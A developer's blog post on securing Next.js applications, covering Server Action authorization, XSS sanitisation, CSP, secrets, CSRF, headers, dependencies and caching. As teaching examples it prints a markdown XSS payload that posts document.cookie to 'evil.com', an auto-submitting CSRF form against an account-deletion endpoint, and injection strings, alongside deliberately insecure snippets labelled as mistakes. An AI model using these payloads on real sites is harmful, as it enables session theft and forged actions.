Skip to content
NEXT.JS

The Wake-Up Call: How I Learned to Stop Worrying and Secure My Next.js Apps

A deep dive into Next.js security after the React2Shell vulnerability shook the community. Learn from real incidents and build truly secure applications.

30 min readBy Daniel Olawoyinnext.js · security · web development

Last December, I was sipping my morning coffee, scrolling through Twitter (yes, I still call it that), when I saw it: CVSS 10.0 - Critical. My heart sank. The React2Shell vulnerability had just been disclosed, and it affected Next.js 13 through 16. I had three production apps running Next.js 15.

That morning changed how I think about web security forever.

Look, I get it. Security isn't sexy. It doesn't land you on the front page of Hacker News like "I built this in a weekend" posts do. But here's the thing, one security breach can undo months of hard work in minutes. And with Next.js evolving so rapidly, the attack surface keeps changing.

So let me take you on a journey. This isn't your typical "best practices" listicle. This is the story of how I went from "yeah, I sanitize inputs" to actually understanding what it means to build secure Next.js applications in 2026.

The Day Everything Changed

December 2025. The React Server Components protocol, this beautiful abstraction that lets us write server code that feels like client code, had a flaw. Not just any flaw. A remote code execution vulnerability rated the maximum possible severity score.

Here's what scared me most: I'd been using Server Actions everywhere. They felt so natural, so right. You write a function, slap 'use server' on top, and boom, instant API endpoint. No routing, no boilerplate, just pure logic.

But that's exactly the problem, isn't it?

The fundamental truth I learned: Every Server Action you export creates a public HTTP endpoint. Even if you never import it anywhere. Even if it's buried deep in your component tree. It's public. It's accessible. It needs to be defended like an API route.

I spent that entire weekend auditing my code. Three apps. Dozens of Server Actions. And you know what I found? Half of them had no authorization checks. I trusted that because they were "only called from my UI," they were safe.

They weren't.

Understanding the Battlefield

Let me paint you a picture of what Next.js security actually looks like in 2026.

We're not building traditional server-rendered apps anymore. We're not building SPAs with separate backends either. We're building something new, a hybrid that blurs every line we used to understand. And that's powerful, but it's also dangerous if you don't know where the boundaries are.

The Server-Client Divide (It's Not What You Think)

Here's a question that stumped me for weeks: Where exactly does my server code end and my client code begin?

In Next.js 16, you've got:

  • Server Components that run only on the server
  • Client Components that run on both server (for SSR) and client
  • Server Actions that are server-only but callable from anywhere
  • Route Handlers that are traditional API routes
  • Proxy functions (formerly middleware) that run on every request

Each of these has different security implications. Each one can leak data in different ways.

The biggest mistake I made early on? Thinking that Server Components were automatically secure because they run on the server. They are, until you pass their data to a Client Component. Then suddenly, that sensitive database query result is serialized and sent to the browser for hydration.

I learned this the hard way when I passed a full user object (including password hash) to a Client Component to display the username. React serialized it all. Chrome DevTools showed it all. Oops.

The Trust Boundary Problem

Here's what keeps me up at night: In Next.js, the trust boundary isn't always where you think it is.

Traditional backend development taught me: never trust the client. Validate everything. But with Server Components and Server Actions, you're writing what feels like backend code in the same file as your frontend code. Your brain starts to blur the lines.

I caught myself writing code like this:

tsx
// ❌ This feels safe but ISN'T
async function deletePost(postId: string) {
  'use server'
  await db.post.delete({ where: { id: postId } })
}

It feels safe because I'm using TypeScript. The function signature says postId is a string. But that's just a compile-time check. At runtime, someone can send me literally anything. They can send me "1 OR 1=1". They can send me ../../etc/passwd. They can send me an object that crashes my server.

The moment I understood this, I mean really understood it, I rewrote every single Server Action in my codebase.

The React2Shell Incident: A Case Study

Let me tell you exactly what happened with React2Shell, because understanding this vulnerability changed how I think about framework security.

React Server Components use a special wire format to communicate between server and client. It's not JSON, it's a custom format that can represent React elements, promises, and other complex types. Brilliant engineering, really.

But here's where it got messy: The protocol included a way to reference server-side functions by ID. These IDs were supposed to be cryptographically secure: random, unpredictable, rotated regularly. And they were! The Next.js team did everything right.

Except... under certain conditions, with carefully crafted requests, an attacker could influence which server-side code path got executed. Not by guessing the IDs, but by exploiting how the protocol handled edge cases.

The fix required updates to both React and Next.js. You couldn't just update one, you needed both. And if you were on Next.js 15.x or 16.x without the patch? You were vulnerable to remote code execution.

Action Required: If you're still on Next.js 16.0.6 or earlier, stop reading and upgrade right now. Seriously. Run npx fix-react2shell-next and then update to at least 16.0.7. This isn't optional.

The scariest part? Two more vulnerabilities were discovered while security researchers were examining the patches. One could crash your entire server with a single request (CVE-2025-55184). Another could leak your source code and environment variable names (CVE-2025-55183).

This taught me something crucial: Security is an ongoing battle, not a checkbox. The frameworks we build on are complex systems, and complex systems have bugs. Some of those bugs are security vulnerabilities. Staying updated isn't just about getting new features, it's about survival.

Building Defense in Depth

After my security awakening, I developed a layered approach to Next.js security. Not one silver bullet, but multiple overlapping defenses. Because when one fails (and they will), the others catch the attack.

Layer 1: The Proxy (Your First Line of Defense)

Next.js 16 renamed middleware to proxy, and honestly, it's a better name. The proxy function is exactly that: a lightweight gatekeeper that sits between the world and your app.

Here's the key insight: Your proxy should be dumb. Really dumb. Don't do heavy authorization here. Don't query your database for complex permission checks. Don't run business logic.

Why? Because it runs on every single request. Every image. Every font. Every API call. You need it fast.

What I do in my proxy:

tsx
// proxy.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

export function proxy(request: NextRequest) {
  // Quick checks only
  const token = request.cookies.get('session')?.value
  
  // No token? Redirect to login
  if (!token && !request.nextUrl.pathname.startsWith('/login')) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
  
  // Geographic restrictions (if needed)
  const country = request.geo?.country
  if (country === 'XX' && request.nextUrl.pathname.startsWith('/admin')) {
    return new NextResponse('Forbidden', { status: 403 })
  }
  
  // Pass it through
  return NextResponse.next()
}

export const config = {
  matcher: [
    '/((?!api|_next/static|_next/image|favicon.ico).*)',
  ],
}

Notice what I'm not doing: I'm not decoding the JWT. I'm not checking if the user is an admin. I'm not querying the database. I'm just checking if a token exists and doing basic routing.

The real security happens deeper in.

Layer 2: Server Component Authorization

This is where things get interesting. Server Components can access databases, call APIs, and make complex authorization decisions. But they need to do it every single time.

Here's my pattern:

tsx
// app/dashboard/page.tsx
import { getCurrentUser } from '@/lib/auth'
import { redirect } from 'next/navigation'
import { getUserDashboardData } from '@/lib/data'

export default async function DashboardPage() {
  // ALWAYS verify the user
  const user = await getCurrentUser()
  
  if (!user) {
    redirect('/login')
  }
  
  // Get only the data this user can see
  const data = await getUserDashboardData(user.id)
  
  return <DashboardView data={data} />
}

The key here is getUserDashboardData. This function doesn't trust that I've already checked permissions. It checks them again:

tsx
// lib/data.ts
import { db } from '@/lib/db'

export async function getUserDashboardData(userId: string) {
  // Even though we "know" the userId is valid,
  // we NEVER trust it
  const user = await db.user.findUnique({
    where: { id: userId },
    select: {
      id: true,
      name: true,
      email: true,
      // Only select what we need
      // NEVER include passwordHash, etc.
    }
  })
  
  if (!user) {
    throw new Error('Unauthorized')
  }
  
  // Now fetch their data
  return db.dashboardData.findMany({
    where: { userId: user.id }
  })
}

See the pattern? We verify, then we query. We only select the fields we need. We never assume.

Layer 3: Server Action Hardening

This is where I spent most of my time after React2Shell. Server Actions are incredibly convenient, but they need to be treated like public API endpoints.

My checklist for every Server Action:

  1. ✅ Input validation with a schema library
  2. ✅ User re-authentication
  3. ✅ Authorization check
  4. ✅ Error handling that doesn't leak information
  5. ✅ Rate limiting (for sensitive operations)

Here's what a properly secured Server Action looks like:

tsx
'use server'

import { z } from 'zod'
import { getCurrentUser } from '@/lib/auth'
import { db } from '@/lib/db'
import { revalidatePath } from 'next/cache'

const deletePostSchema = z.object({
  postId: z.string().uuid()
})

export async function deletePost(formData: FormData) {
  try {
    // Step 1: Validate input
    const rawData = {
      postId: formData.get('postId')
    }
    
    const validatedData = deletePostSchema.parse(rawData)
    
    // Step 2: Re-authenticate user
    const user = await getCurrentUser()
    if (!user) {
      return { error: 'Unauthorized' }
    }
    
    // Step 3: Check authorization
    const post = await db.post.findUnique({
      where: { id: validatedData.postId },
      select: { authorId: true }
    })
    
    if (!post || post.authorId !== user.id) {
      return { error: 'Not found' }
    }
    
    // Step 4: Perform the action
    await db.post.delete({
      where: { id: validatedData.postId }
    })
    
    // Step 5: Revalidate any affected paths
    revalidatePath('/posts')
    
    return { success: true }
    
  } catch (error) {
    // Step 6: Handle errors safely
    console.error('Delete post error:', error)
    
    // Never leak internal errors to the client
    if (error instanceof z.ZodError) {
      return { error: 'Invalid input' }
    }
    
    return { error: 'Something went wrong' }
  }
}

Yes, it's more code. Yes, it feels like overkill sometimes. But this is what production-ready Server Actions look like.

The Data Access Layer: Your Security Moat

After auditing my apps, I realized I had database queries scattered everywhere. Server Components, Server Actions, Route Handlers, they all talked to the database directly. This was a nightmare for security.

So I built a Data Access Layer. It's just a fancy term for "put all your database queries in one place and make them check permissions."

Here's the structure:

lib/
  data/
    posts.ts      # All post-related queries
    users.ts      # All user-related queries
    comments.ts   # All comment-related queries
    index.ts      # Exports everything

Every function in these files follows the same pattern:

tsx
// lib/data/posts.ts
import { db } from '@/lib/db'
import { getCurrentUser } from '@/lib/auth'

export async function getPost(postId: string) {
  // Get current user context
  const user = await getCurrentUser()
  
  const post = await db.post.findUnique({
    where: { id: postId },
    select: {
      id: true,
      title: true,
      content: true,
      published: true,
      authorId: true,
      author: {
        select: {
          id: true,
          name: true,
          // Never include email, passwordHash, etc.
        }
      }
    }
  })
  
  if (!post) {
    return null
  }
  
  // Check if user can see this post
  if (!post.published && post.authorId !== user?.id) {
    return null
  }
  
  return post
}

export async function updatePost(postId: string, data: UpdatePostInput) {
  const user = await getCurrentUser()
  
  if (!user) {
    throw new Error('Unauthorized')
  }
  
  // Verify ownership
  const post = await db.post.findUnique({
    where: { id: postId },
    select: { authorId: true }
  })
  
  if (!post || post.authorId !== user.id) {
    throw new Error('Unauthorized')
  }
  
  return db.post.update({
    where: { id: postId },
    data
  })
}

Now, every part of my app that needs post data calls these functions. And I know permissions are checked. I don't have to remember. The Data Access Layer remembers for me.

This also makes it easy to use the server-only package:

tsx
// lib/data/index.ts
import 'server-only'

export * from './posts'
export * from './users'
export * from './comments'

If I accidentally try to import from @/lib/data in a Client Component, I get a build error. Immediate feedback. No silent data leaks.

XSS: The Ghost in the Machine

Cross-Site Scripting still haunts me. Even with React's built-in protection, XSS can creep in through the cracks.

Let me tell you about the time I almost shipped an XSS vulnerability to production.

I was building a rich text editor for blog posts. Users could write markdown, and I'd render it as HTML. Simple, right? I used a markdown library, it generated HTML, I displayed it.

Here's what I wrote:

tsx
// ❌ DO NOT DO THIS
function BlogPost({ content }: { content: string }) {
  const html = markdownToHtml(content)
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

See the problem? dangerouslySetInnerHTML literally has "dangerous" in the name. It's React's way of saying "I hope you know what you're doing."

I didn't know what I was doing.

A user could write this in their markdown:

markdown
# My Blog Post

<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: document.cookie
  })
</script>

Great content!

The markdown library would convert it to HTML. My code would render it. The script would run. Game over.

The fix? Sanitize. Always sanitize.

tsx
// ✅ This is safer
import DOMPurify from 'isomorphic-dompurify'

function BlogPost({ content }: { content: string }) {
  const html = markdownToHtml(content)
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'a'],
    ALLOWED_ATTR: ['href', 'title'],
    ALLOW_DATA_ATTR: false
  })
  return <div dangerouslySetInnerHTML={{ __html: clean }} />
}

But even better? Don't use dangerouslySetInnerHTML at all. Use a component library that handles it safely:

tsx
// ✅ This is best
import ReactMarkdown from 'react-markdown'

function BlogPost({ content }: { content: string }) {
  return <ReactMarkdown>{content}</ReactMarkdown>
}

Let the library handle the complexity. Let them deal with XSS edge cases. Your future self will thank you.

The Sneaky XSS Vectors

But XSS isn't just about dangerouslySetInnerHTML. It hides in weird places.

Link URLs:

tsx
// ❌ User can inject javascript: URLs
<a href={userProvidedUrl}>Click me</a>

// ✅ Validate the protocol
const safeUrl = userProvidedUrl.startsWith('http://') || userProvidedUrl.startsWith('https://')
  ? userProvidedUrl
  : '#'
<a href={safeUrl}>Click me</a>

Style attributes:

tsx
// ❌ User can inject CSS that loads external resources
<div style={{ backgroundImage: `url(${userProvidedImage})` }} />

// ✅ Validate it's actually an image URL from your domain

Event handlers: Never, ever take user input and put it in onClick or any event handler. Just don't.

Content Security Policy: Your Force Field

After getting burned by XSS near-misses, I implemented Content Security Policy (CSP). Think of it as a whitelist for what your page can do.

CSP tells the browser:

  • Only run scripts from these sources
  • Only load images from these domains
  • Only submit forms to these endpoints
  • Only load stylesheets from these locations

It's incredibly powerful. And in Next.js 16, it's actually usable.

Here's my implementation:

tsx
// proxy.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

export function proxy(request: NextRequest) {
  // Generate a random nonce for this request
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
  
  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data: https://res.cloudinary.com;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim()
  
  const requestHeaders = new Headers(request.headers)
  requestHeaders.set('x-nonce', nonce)
  requestHeaders.set('Content-Security-Policy', cspHeader)
  
  const response = NextResponse.next({
    request: {
      headers: requestHeaders,
    },
  })
  
  response.headers.set('Content-Security-Policy', cspHeader)
  
  return response
}

Then in my root layout:

tsx
// app/layout.tsx
import { headers } from 'next/headers'

export default async function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  const nonce = (await headers()).get('x-nonce')
  
  return (
    <html lang="en">
      <head>
        <script nonce={nonce} src="/scripts/analytics.js" />
      </head>
      <body>{children}</body>
    </html>
  )
}

Now here's what's beautiful about this: Even if an attacker somehow injects a <script> tag into my page, it won't run. The browser will block it because it doesn't have the correct nonce. And the nonce changes on every request, so they can't predict it.

This saved me once. A third-party package I was using had an XSS vulnerability. But my CSP blocked the attack. The vulnerability existed, but it couldn't be exploited. Defense in depth.

Pro tip: Start CSP in report-only mode first. Set the header to Content-Security-Policy-Report-Only and include a report-uri directive. You'll see what would break without actually breaking it. Once you've fixed all the issues, switch to enforcement mode.

Environment Variables: The Hidden Time Bombs

I used to be so careless with environment variables. I'd prefix something with NEXT_PUBLIC_ just because I needed it in a Client Component. No big deal, right?

Wrong. So wrong.

Here's what I learned: Anything prefixed with NEXT_PUBLIC_ gets baked into your JavaScript bundle at build time. It's there in plain text for anyone to see. And I mean anyone—they just need to open DevTools.

I once accidentally did this:

bash
# .env.local
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_... # 💀 NEVER DO THIS

Why did I do this? Because I was calling Stripe from a Client Component. I needed the key. So I made it public.

The correct solution was to move that logic to a Server Action:

tsx
'use server'

import Stripe from 'stripe'

const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!) // Not public!

export async function createPaymentIntent(amount: number) {
  const user = await getCurrentUser()
  if (!user) {
    throw new Error('Unauthorized')
  }
  
  return stripe.paymentIntents.create({
    amount,
    currency: 'usd',
    metadata: { userId: user.id }
  })
}

Now my Client Component calls this Server Action, and the secret key never leaves the server.

The Environment Variable Rules I Follow

  1. Server-only by default: All secrets stay server-side
  2. NEXT_PUBLIC_ is sacred: Only use it for truly non-sensitive config
  3. Validate at startup: Check that all required env vars exist

Here's my validation pattern:

tsx
// lib/env.ts
import { z } from 'zod'

const envSchema = z.object({
  DATABASE_URL: z.string().url(),
  STRIPE_SECRET_KEY: z.string().min(1),
  NEXTAUTH_SECRET: z.string().min(32),
  NEXTAUTH_URL: z.string().url(),
  // Public vars
  NEXT_PUBLIC_APP_URL: z.string().url(),
})

// This will throw at startup if env vars are missing
export const env = envSchema.parse({
  DATABASE_URL: process.env.DATABASE_URL,
  STRIPE_SECRET_KEY: process.env.STRIPE_SECRET_KEY,
  NEXTAUTH_SECRET: process.env.NEXTAUTH_SECRET,
  NEXTAUTH_URL: process.env.NEXTAUTH_URL,
  NEXT_PUBLIC_APP_URL: process.env.NEXT_PUBLIC_APP_URL,
})

Now I import from @/lib/env instead of using process.env directly. Type-safe, validated, and it fails fast if something's missing.

CSRF: The Forgotten Threat

Cross-Site Request Forgery doesn't get talked about much in the React world, but it's still a real threat.

Here's the scenario: You're logged into my app. You visit evil.com. That site has this code:

html
<form action="https://myapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit()
</script>

Your browser dutifully sends your session cookie with that request. My server sees a valid session and deletes your account. Oops.

The good news? Next.js Server Actions have CSRF protection built in. They check the Origin header and compare it to the Host header. If they don't match, the request is rejected.

But this only works for Server Actions. If you're using Route Handlers (the route.ts files), you need to implement CSRF protection yourself:

tsx
// app/api/delete-account/route.ts
import { NextRequest } from 'next/server'

export async function POST(request: NextRequest) {
  // Check the origin
  const origin = request.headers.get('origin')
  const host = request.headers.get('host')
  
  if (origin && !origin.includes(host || '')) {
    return new Response('Forbidden', { status: 403 })
  }
  
  // Also check for a custom header
  // (CSRF attacks can't set custom headers)
  const csrfCheck = request.headers.get('x-requested-with')
  if (csrfCheck !== 'XMLHttpRequest') {
    return new Response('Forbidden', { status: 403 })
  }
  
  // Proceed with the actual logic
  // ...
}

Or use a library like @edge-csrf/nextjs that handles this for you.

Also, make sure your cookies have the right settings:

tsx
// In your auth library configuration
{
  cookies: {
    sessionToken: {
      name: '__Secure-next-auth.session-token',
      options: {
        httpOnly: true,
        sameSite: 'lax', // or 'strict'
        path: '/',
        secure: true // Only over HTTPS
      }
    }
  }
}

The sameSite: 'lax' attribute tells browsers not to send the cookie on cross-site POST requests. This blocks most CSRF attacks right there.

Authentication: Don't Roll Your Own

I see this all the time. Developers building their own authentication system because "it's not that hard."

It is that hard.

Authentication touches so many security concerns:

  • Password hashing (with the right algorithm and salt)
  • Session management
  • Token generation and validation
  • CSRF protection
  • Rate limiting
  • Password reset flows
  • Email verification
  • Account lockout after failed attempts
  • Two-factor authentication
  • OAuth/OIDC flows

You know what I did? I used NextAuth.js (now Auth.js).

tsx
// auth.ts
import NextAuth from 'next-auth'
import GoogleProvider from 'next-auth/providers/google'
import CredentialsProvider from 'next-auth/providers/credentials'
import { compare } from 'bcryptjs'
import { db } from '@/lib/db'

export const { handlers, auth, signIn, signOut } = NextAuth({
  providers: [
    GoogleProvider({
      clientId: process.env.GOOGLE_CLIENT_ID!,
      clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
    }),
    CredentialsProvider({
      name: 'credentials',
      credentials: {
        email: { label: "Email", type: "email" },
        password: { label: "Password", type: "password" }
      },
      async authorize(credentials) {
        if (!credentials?.email || !credentials?.password) {
          return null
        }
        
        const user = await db.user.findUnique({
          where: { email: credentials.email as string }
        })
        
        if (!user || !user.passwordHash) {
          return null
        }
        
        const isValid = await compare(
          credentials.password as string,
          user.passwordHash
        )
        
        if (!isValid) {
          return null
        }
        
        return {
          id: user.id,
          email: user.email,
          name: user.name,
        }
      }
    })
  ],
  callbacks: {
    async session({ session, token }) {
      if (session.user) {
        session.user.id = token.sub!
      }
      return session
    }
  },
  pages: {
    signIn: '/login',
    error: '/error',
  },
})

Now I have:

  • Multiple authentication providers
  • Secure session management
  • Built-in CSRF protection
  • JWT or database sessions
  • Automatic token refresh

All tested by thousands of developers. All maintained by security-conscious people. All free.

Could I build this myself? Maybe. Should I? Absolutely not.

The Security Headers Checklist

Beyond CSP, there are several other security headers you should set. I configure these in my next.config.js:

js
// next.config.js
const securityHeaders = [
  {
    key: 'X-DNS-Prefetch-Control',
    value: 'on'
  },
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=31536000; includeSubDomains'
  },
  {
    key: 'X-Frame-Options',
    value: 'SAMEORIGIN'
  },
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff'
  },
  {
    key: 'X-XSS-Protection',
    value: '1; mode=block'
  },
  {
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin'
  },
  {
    key: 'Permissions-Policy',
    value: 'camera=(), microphone=(), geolocation=()'
  }
]

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders,
      },
    ]
  },
}

Let me break down what these do:

Strict-Transport-Security (HSTS): Forces browsers to always use HTTPS. Once a browser sees this header, it won't make HTTP requests to your domain for a year. This prevents SSL stripping attacks.

X-Frame-Options: Prevents your site from being embedded in an iframe on another domain. This stops clickjacking attacks where an attacker overlays invisible iframes on their malicious site to trick users into clicking things on your site.

X-Content-Type-Options: Tells browsers to respect the Content-Type header you set. Without this, browsers might try to "sniff" the content type and execute something as JavaScript when you meant it to be a text file. This has led to real vulnerabilities.

Referrer-Policy: Controls what information is sent in the Referer header when users navigate away from your site. strict-origin-when-cross-origin sends the full URL for same-origin requests but only the origin for cross-origin requests.

Permissions-Policy: Disables browser features you don't need. Why should your site have access to the user's camera if you're not a video chat app? Turn it off.

I check my headers using securityheaders.com after every deployment. It's become part of my deploy checklist.

The Dependency Minefield

Here's something that terrifies me: My last Next.js project had 1,247 dependencies. Not direct dependencies, total dependencies including all the nested ones.

1,247 packages. Written by 1,247 different people (at minimum). Any one of them could have a vulnerability. Any one could be compromised by a malicious actor.

This isn't theoretical. Remember the ua-parser-js incident? A popular package with millions of weekly downloads got compromised. The attacker published a malicious version that installed cryptocurrency miners and stole passwords. It was in the npm registry for hours before anyone noticed.

Your app probably used it, either directly or through a dependency.

My Dependency Hygiene Routine

1. Weekly audits:

bash
npm audit

I run this every Monday. The output can be overwhelming, but here's how I prioritize:

  • Critical and High: Drop everything and fix these
  • Moderate: Schedule time this week
  • Low: Review but don't panic

2. Keep dependencies minimal:

Before adding any package, I ask:

  • Do I really need this?
  • Can I implement this in 50 lines of code instead?
  • Is this package well-maintained?
  • When was the last commit?
  • How many weekly downloads?

I'd rather write 50 lines of code I understand than import 100KB of dependencies I don't.

3. Use npm ls to understand the tree:

bash
npm ls some-package

This shows me why a package is in my project. Sometimes I'm pulling in a massive dependency tree for a feature I barely use.

4. Enable Dependabot:

GitHub's Dependabot automatically creates PRs when security updates are available. I review and merge these weekly.

5. Lock your dependencies:

Always commit your package-lock.json. This ensures everyone (including your CI/CD) uses the exact same versions. It also means you can review dependency updates in PRs before they hit production.

The Cache Security Trap

Next.js 16's new caching model is powerful, but it introduced a subtle security issue I only discovered by accident.

I had a Server Component that fetched user data:

tsx
// This was cached by default in older Next.js
async function UserProfile({ userId }: { userId: string }) {
  const user = await db.user.findUnique({
    where: { id: userId }
  })
  
  return <div>{user.email}</div>
}

Seems fine, right? But if this is cached, and user A views their profile, the cached version might be served to user B. Suddenly user B can see user A's email.

Next.js 16's dynamic-by-default caching helps with this. It doesn't cache by default unless you explicitly opt in with the use cache directive.

But if you do use caching, you need to be very careful about the cache keys:

tsx
'use cache'
async function getUserData(userId: string) {
  // This is cached PER userId
  // Each user gets their own cache entry
  return db.user.findUnique({ where: { id: userId } })
}

The function arguments become part of the cache key automatically. But you need to make sure you're including all the context that matters.

Here's a subtle bug I had:

tsx
'use cache'
async function getNotifications() {
  const user = await getCurrentUser()
  return db.notification.findMany({
    where: { userId: user.id }
  })
}

This is cached globally because getNotifications() takes no arguments. The first user to call it sets the cache. Every other user gets those notifications. Oops.

The fix:

tsx
'use cache'
async function getNotifications(userId: string) {
  // Now it's cached per user
  return db.notification.findMany({
    where: { userId }
  })
}

When in doubt, don't cache user-specific data. The performance gain isn't worth the security risk.

Real-World Incident Response

Let me tell you about the one time I actually had a security incident.

It was 2 AM when PagerDuty woke me up. Our monitoring detected unusual API activity—thousands of requests trying different user IDs in the URL.

Someone was enumerating our users.

Here's the endpoint they were hitting:

GET /api/users/[userId]

And here's what I'd implemented:

tsx
// app/api/users/[userId]/route.ts
export async function GET(
  request: Request,
  { params }: { params: { userId: string } }
) {
  const user = await db.user.findUnique({
    where: { id: params.userId }
  })
  
  if (!user) {
    return Response.json({ error: 'Not found' }, { status: 404 })
  }
  
  return Response.json(user)
}

Three catastrophic mistakes:

  1. No authentication check - Anyone could hit this endpoint
  2. No authorization check - Even if I added auth, users could see other users
  3. No rate limiting - They could try millions of IDs

I fixed it at 2:15 AM:

tsx
export async function GET(
  request: Request,
  { params }: { params: { userId: string } }
) {
  // Auth check
  const currentUser = await getCurrentUser()
  if (!currentUser) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 })
  }
  
  // Authorization check
  if (currentUser.id !== params.userId && !currentUser.isAdmin) {
    return Response.json({ error: 'Forbidden' }, { status: 403 })
  }
  
  const user = await db.user.findUnique({
    where: { id: params.userId },
    select: {
      id: true,
      name: true,
      // Only return public fields
    }
  })
  
  if (!user) {
    return Response.json({ error: 'Not found' }, { status: 404 })
  }
  
  return Response.json(user)
}

Then I added rate limiting with Upstash:

tsx
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(10, '10 s'),
})

export async function GET(request: Request) {
  const ip = request.headers.get('x-forwarded-for') ?? 'unknown'
  const { success } = await ratelimit.limit(ip)
  
  if (!success) {
    return Response.json(
      { error: 'Too many requests' },
      { status: 429 }
    )
  }
  
  // Rest of the handler...
}

By 3 AM, the attacks stopped (they hit the rate limit). By 8 AM, I'd audited every single API route in the codebase. I found 12 more endpoints with similar issues.

This incident taught me that security isn't about being perfect. It's about detecting issues quickly and responding decisively. And it's about learning from each mistake so you don't repeat it.

The Security Mindset

After a year of deep-diving into Next.js security, I've developed what I call a "security mindset." It's a way of looking at code that assumes the worst.

When I see this:

tsx
async function ProfilePage({ params }: { params: { username: string } }) {
  const user = await db.user.findUnique({
    where: { username: params.username }
  })
  
  return <Profile user={user} />
}

I immediately ask:

  • What if params.username is SQL injection? (Prisma protects against this, but what if we switched ORMs?)
  • What if it's ../../etc/passwd? (It won't work, but have we validated it's actually a valid username?)
  • What if the user doesn't exist? (We're not handling null)
  • What if this is a private profile? (No authorization check)
  • What's in the user object? (Are we passing passwordHash to the client component?)

This mindset is exhausting. But it's necessary.

My Security Checklist

Here's the checklist I run through before deploying any Next.js app:

Authentication & Authorization

  • Using NextAuth.js or another battle-tested library
  • Session cookies are httpOnly, secure, and sameSite
  • Password reset tokens expire after 1 hour
  • Account lockout after 5 failed login attempts
  • Two-factor authentication available for sensitive accounts

Server Actions & Route Handlers

  • Every Server Action validates input with Zod/Valibot
  • Every Server Action re-authenticates the user
  • Every Server Action checks authorization
  • Error messages don't leak sensitive information
  • Rate limiting on sensitive operations

Data Access

  • Database queries are in a Data Access Layer
  • All queries check user permissions
  • SELECT statements only include necessary fields
  • Never pass passwordHash or sensitive fields to Client Components
  • Using server-only package for data layer

Client-Side Security

  • No dangerouslySetInnerHTML without sanitization
  • User-provided URLs are validated
  • No inline event handlers with user input
  • Content Security Policy implemented
  • All external scripts use nonce or integrity attribute

Environment & Secrets

  • No NEXT_PUBLIC_ prefix on secrets
  • .env.local is in .gitignore
  • Environment variables are validated at startup
  • Secrets are rotated regularly in production

Headers & HTTPS

  • All security headers configured
  • HSTS with long max-age
  • CSP in enforcement mode (not report-only)
  • All cookies require secure flag
  • HTTPS enforced everywhere

Dependencies

  • npm audit shows zero high/critical issues
  • All dependencies are under 6 months old
  • Dependabot enabled
  • package-lock.json committed
  • Using only necessary packages

Monitoring & Response

  • Error tracking configured (Sentry, etc.)
  • Logging all authentication failures
  • Monitoring for unusual API activity
  • Security contacts documented
  • Incident response plan exists

The Road Ahead

Security is never finished. As I write this, there are probably zero-day vulnerabilities waiting to be discovered in React, Next.js, or some dependency buried deep in my node_modules.

But that's okay. Because now I know:

  1. Stay updated. Security patches exist for a reason. Apply them quickly.

  2. Assume breach. Write code assuming attackers will find a way in. Make sure they can't do much damage when they do.

  3. Defense in depth. Never rely on a single security measure. Layer them.

  4. Trust nothing. Especially user input. And especially things that "can't possibly be reached by users."

  5. Learn from others. Every CVE is a lesson. Every security researcher's blog post is an education.

The React2Shell vulnerability was my wake-up call. It forced me to actually understand the frameworks I was using, not just copy patterns from tutorials.

And you know what? My apps are better for it. More secure, yes, but also better architected. Security constraints forced me to think harder about data flow, component boundaries, and trust relationships.

Final Thoughts

If you take nothing else from this article, take this:

Security is not a checklist. It's a mindset.

You can follow every best practice in this article and still ship a vulnerable app. Because security is about understanding the why behind the rules, not just following them.

Why shouldn't I use dangerouslySetInnerHTML? Because it bypasses React's XSS protection and could execute attacker-controlled JavaScript.

Why do I need authorization in Server Actions? Because they're public HTTP endpoints that anyone can call if they know the URL and action ID.

Why should I use a Data Access Layer? Because it centralizes authorization logic so I can't forget to check permissions.

When you understand the why, you'll make secure decisions even in situations not covered by any checklist.

Stay safe out there. And if you ever ship a security vulnerability (you will), don't beat yourself up. Learn from it, fix it, and share what you learned so others don't make the same mistake.

That's how we make the web more secure, one lesson at a time.

next.jssecurityweb developmentserver componentsreact
Written by
Daniel Olawoyin

Full-stack & AI engineer based in Lagos. I build production systems with AI in them — voice agents, RAG pipelines, multi-tenant SaaS.